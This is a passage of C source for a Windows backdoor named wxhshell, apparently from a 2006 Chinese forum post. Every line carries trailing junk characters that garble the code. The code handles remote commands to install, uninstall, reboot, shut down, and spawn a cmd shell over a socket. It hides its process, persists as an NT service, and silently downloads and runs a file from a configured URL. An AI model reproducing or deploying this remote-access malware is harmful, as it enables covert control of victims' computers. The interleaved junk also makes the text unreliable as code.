    break; '9j="R;  
  } qXe8Kto  
  // 安装 sC b=5uI  
  case 'i': { '>ssqBnI  
    if(Install()) 5m(^W[u `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /j|G(vt5  
    else FXN/Yq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }\:Nu Tf  
    break; 6@0OQb  
    } xZwLlY  
  // 卸载 ouFYvtFg  
  case 'r': { A/KJqiag  
    if(Uninstall()) #"\gLr_:m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~C`^6UQr/?  
    else 9g"2^^wD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Qq;Foa  
    break; M={V|H0  
    } ],a5)kV  
  // 显示 wxhshell 所在路径 1@1U/ss1  
  case 'p': { Rt!FPoN,y  
    char svExeFile[MAX_PATH]; d]6#m'U  
    strcpy(svExeFile,"\n\r"); .QJ5sgmh  
      strcat(svExeFile,ExeFile); a (b#  
        send(wsh,svExeFile,strlen(svExeFile),0); }h!f eP  
    break; 9"A`sGZ  
    } k$J zH$  
  // 重启 :~T99^$zA  
  case 'b': {  &NK,VB;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (#RHB`h5  
    if(Boot(REBOOT)) q~ZNd3O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MET' (m  
    else { Ksj -zR;  
    closesocket(wsh); LNpup`>`  
    ExitThread(0); ` a/%W4  
    } Te wb?:  
    break; a$"Hvrj  
    } w6GyBo{2O_  
  // 关机 _p&]|~a  
  case 'd': { _EMwm&!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qqvihd  
    if(Boot(SHUTDOWN)) u TK,&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <_tT<5'[$u  
    else { #( jw!d&  
    closesocket(wsh); cy3B({PLy  
    ExitThread(0); Id|L`  w  
    } 2h1C9n%j9  
    break; K]0:?h;%Ld  
    } *HO}~A%Lx  
  // 获取shell /bi[ e9R  
  case 's': { J )~L   
    CmdShell(wsh); <|+Ex  
    closesocket(wsh); LBsluT  
    ExitThread(0); HO%wHiv1X  
    break; [uq$5u  
  } uv(Sdiir8  
  // 退出 G <f@#[$'  
  case 'x': { D+z?wuXk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7Ka l"Ew  
    CloseIt(wsh); 3`.7<f`  
    break; ~ga`\% J  
    }  @zz1hU  
  // 离开 6qaQ[XTxf  
  case 'q': { x`mN U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;\Y& ce  
    closesocket(wsh); >wBJy4:  
    WSACleanup(); H_ox_ u}  
    exit(1); PGBQn#c<  
    break;  %. ,=maA  
        } FPI;Jx6W'  
  } F\k+[`%{  
  } {v2|g  
}36QsH8  
  // 提示信息 <'Wo@N7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y2SJ7  
} ;Q[mL(1:  
  } 5HO9 +i  
\lC   
  return; T{Uc:Z  
} &PK\|\\2  
7`8Ik`lY  
// shell模块句柄 dJ""XaHqf  
int CmdShell(SOCKET sock) fCtPu08{Z  
{ RYl>  
STARTUPINFO si; aZ'Lx:)R  
ZeroMemory(&si,sizeof(si)); mB9r3[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EC8b=B<DE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [7S} g  
PROCESS_INFORMATION ProcessInfo; r*_ZJ*h[  
char cmdline[]="cmd"; Z%Zd2 v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); meks RcF  
  return 0; -'BA{#e}L  
} FR!? #!  
I{ :(z3  
// 自身启动模式 WT`4s  
int StartFromService(void) @kU@N?5e  
{ ,NVsn  
typedef struct q^L<X)  
{ B0WJ/)rK<  
  DWORD ExitStatus; G\Ro}5TO  
  DWORD PebBaseAddress; H0SQ"?  
  DWORD AffinityMask; o b|BXF  
  DWORD BasePriority; q)vplV1A  
  ULONG UniqueProcessId; uDSxTz{  
  ULONG InheritedFromUniqueProcessId; G 0;XaL:  
}   PROCESS_BASIC_INFORMATION; e-*.Ca  
X>. NFB  
PROCNTQSIP NtQueryInformationProcess; ;cz|ss=  
YH_7=0EJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9n5<]Q (  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y>|{YWbp?  
!G}+E2fDA  
  HANDLE             hProcess; `z )N,fF  
  PROCESS_BASIC_INFORMATION pbi; (%o2jroQ#  
{ TRsd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -x4X O`b  
  if(NULL == hInst ) return 0; PF7&p~O(Z  
RxN,^!OV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d)R352  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0 Ir<y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `TPOCxM Mo  
n[,w f9  
  if (!NtQueryInformationProcess) return 0; R &4Z*?S  
xvSuPP4 m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZzBQe  
  if(!hProcess) return 0; WJ9 cZL  
?EK?b s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5W@jfh)  
y&=ALx@  
  CloseHandle(hProcess); (%:>T Q(  
T,OwM\`.X{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4r0b)Y &I  
if(hProcess==NULL) return 0; :4T("a5aM  
$<|l E/_]  
HMODULE hMod; j]m|7]  
char procName[255]; 6q6FB  
unsigned long cbNeeded; 3 Lsj}p  
A &9(mB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G>+1*\c  
vuFBET,  
  CloseHandle(hProcess); awUx=%ERtA  
*8tI*Pus  
if(strstr(procName,"services")) return 1; // 以服务启动 \S)2  
ii0Ce}8d~  
  return 0; // 注册表启动 h}Wdh1.M3  
} @Ehn(}  
*I0-O*Xr  
// 主模块 iIGbHn,/  
int StartWxhshell(LPSTR lpCmdLine) v^7LctcVm  
{ e~T@~(fft  
  SOCKET wsl; q0bHB_|wL  
BOOL val=TRUE; ^Mk%z9 ?  
  int port=0; J!*/a'Cv  
  struct sockaddr_in door; =60~UM  
')$NfarQ.  
  if(wscfg.ws_autoins) Install(); Q!FLR>8  
UP{j5gR:_  
port=atoi(lpCmdLine); M8b4NF_&  
Zf>^4_x3P  
if(port<=0) port=wscfg.ws_port; ec|/ /  
Kw`VrcwjT  
  WSADATA data; Q9`QL3LQD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {A o,t+j  
5')8r ';,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DBs*F x[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [!VOw@uz  
  door.sin_family = AF_INET; n!E2_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fv)7c4  
  door.sin_port = htons(port); j` /&r*zNq  
Ij'NC C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JkA|Qdj~Mr  
closesocket(wsl); *}):<nB$^  
return 1; Gj /3kS~@  
} %AnW~v  
)2E%b+"  
  if(listen(wsl,2) == INVALID_SOCKET) { =N|kn<h4  
closesocket(wsl); l48k<  
return 1; FCc=e{  
} 3v!~cC~cI  
  Wxhshell(wsl); D["MUB4l  
  WSACleanup(); -NBiW6b~  
I6LD)?  
return 0; L{ymI) Y^  
efuK  
} 8S;CFyT\n  
'7im  
// 以NT服务方式启动 W:QwHZ2O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K$REZe  
{ s-V SH  
DWORD   status = 0; mi2o1"Jd$`  
  DWORD   specificError = 0xfffffff; ]PNow S\  
m^{ xd2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t^tCA -  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YTU.$t;Ez  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lg1PE7  
  serviceStatus.dwWin32ExitCode     = 0; !@ YXZ  
  serviceStatus.dwServiceSpecificExitCode = 0;  \`xkp[C  
  serviceStatus.dwCheckPoint       = 0; }o9Aa0$*$  
  serviceStatus.dwWaitHint       = 0; tO.$+4a  
<V_7|)'/A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w9#R'  
  if (hServiceStatusHandle==0) return; pyW u9  
xUYow  
status = GetLastError(); 8Xm@r#Oy5  
  if (status!=NO_ERROR) ev>oC~>s  
{ 3#<* k>1G?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2go>  
    serviceStatus.dwCheckPoint       = 0; i!MwBYk  
    serviceStatus.dwWaitHint       = 0; hWcTI{v  
    serviceStatus.dwWin32ExitCode     = status; LN!W(n(  
    serviceStatus.dwServiceSpecificExitCode = specificError; V_L[P9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %TK&)Q% h5  
    return; LI:T c7t  
  } &(&  
}&G]0hCT!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mT_GrIl[  
  serviceStatus.dwCheckPoint       = 0; U 0ZB^`  
  serviceStatus.dwWaitHint       = 0; |tG+iF@4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v29G:YQe  
} pX<a2F P  
\/Ij7nD`l%  
// 处理NT服务事件,比如:启动、停止 FUaNiAr[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z*.v_Mx  
{ a%~yol0wO7  
switch(fdwControl) Z%v6xP.  
{ Gidkt;lj  
case SERVICE_CONTROL_STOP: nN ~GP"}  
  serviceStatus.dwWin32ExitCode = 0; DA LQ<iF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Dc FCKji  
  serviceStatus.dwCheckPoint   = 0; } 21j  
  serviceStatus.dwWaitHint     = 0; c d%hW  
  { KP~-$NR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |@`"F5@,  
  } !O\X+#j  
  return; lvufkVG|  
case SERVICE_CONTROL_PAUSE: 3%M.U)|+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sA_X<>vAKJ  
  break; vbn>mg5  
case SERVICE_CONTROL_CONTINUE: b]`^KTYK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dp^N_9$cdO  
  break; XZ:1!;  
case SERVICE_CONTROL_INTERROGATE: M j~${vj  
  break; 8t9aHla  
}; <"I?jgo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2xmT#m  
} >RR<eYu7m  
$'$>UFR  
// 标准应用程序主函数 9U10d&M(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %}F"*.  
{ @Qo,p  
n|]N7 b'  
// 获取操作系统版本 nO@+s F  
OsIsNt=GetOsVer(); slSR=XOG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;Prg'R[o;  
Z1]"[U[;  
  // 从命令行安装 x<Se>+  
  if(strpbrk(lpCmdLine,"iI")) Install(); .cw=*<zeg  
B&nw#saz.  
  // 下载执行文件 /'Bdq?!B&  
if(wscfg.ws_downexe) { gDhl-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `GkRmv*  
  WinExec(wscfg.ws_filenam,SW_HIDE); U$$3'n  
} d H_2 o  
0|Q.U  
if(!OsIsNt) { L{K*~B-p  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vw?P.4  
HideProc(); 2;R/.xI6v  
StartWxhshell(lpCmdLine); vz,LF=s2  
} sWW\bK0B4  
else J=L`]XE  
  if(StartFromService()) <tQXK;  
  // 以服务方式启动 YlB["@\[B  
  StartServiceCtrlDispatcher(DispatchTable); a^*B5G1(&  
else &U0WkW   
  // 普通方式启动 s'AQUUrb <  
  StartWxhshell(lpCmdLine); s KCGuw(mh  
r &c_4%y  
return 0; < [ w++F~  
}
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只看该作者 1 发表于: 2006-10-10
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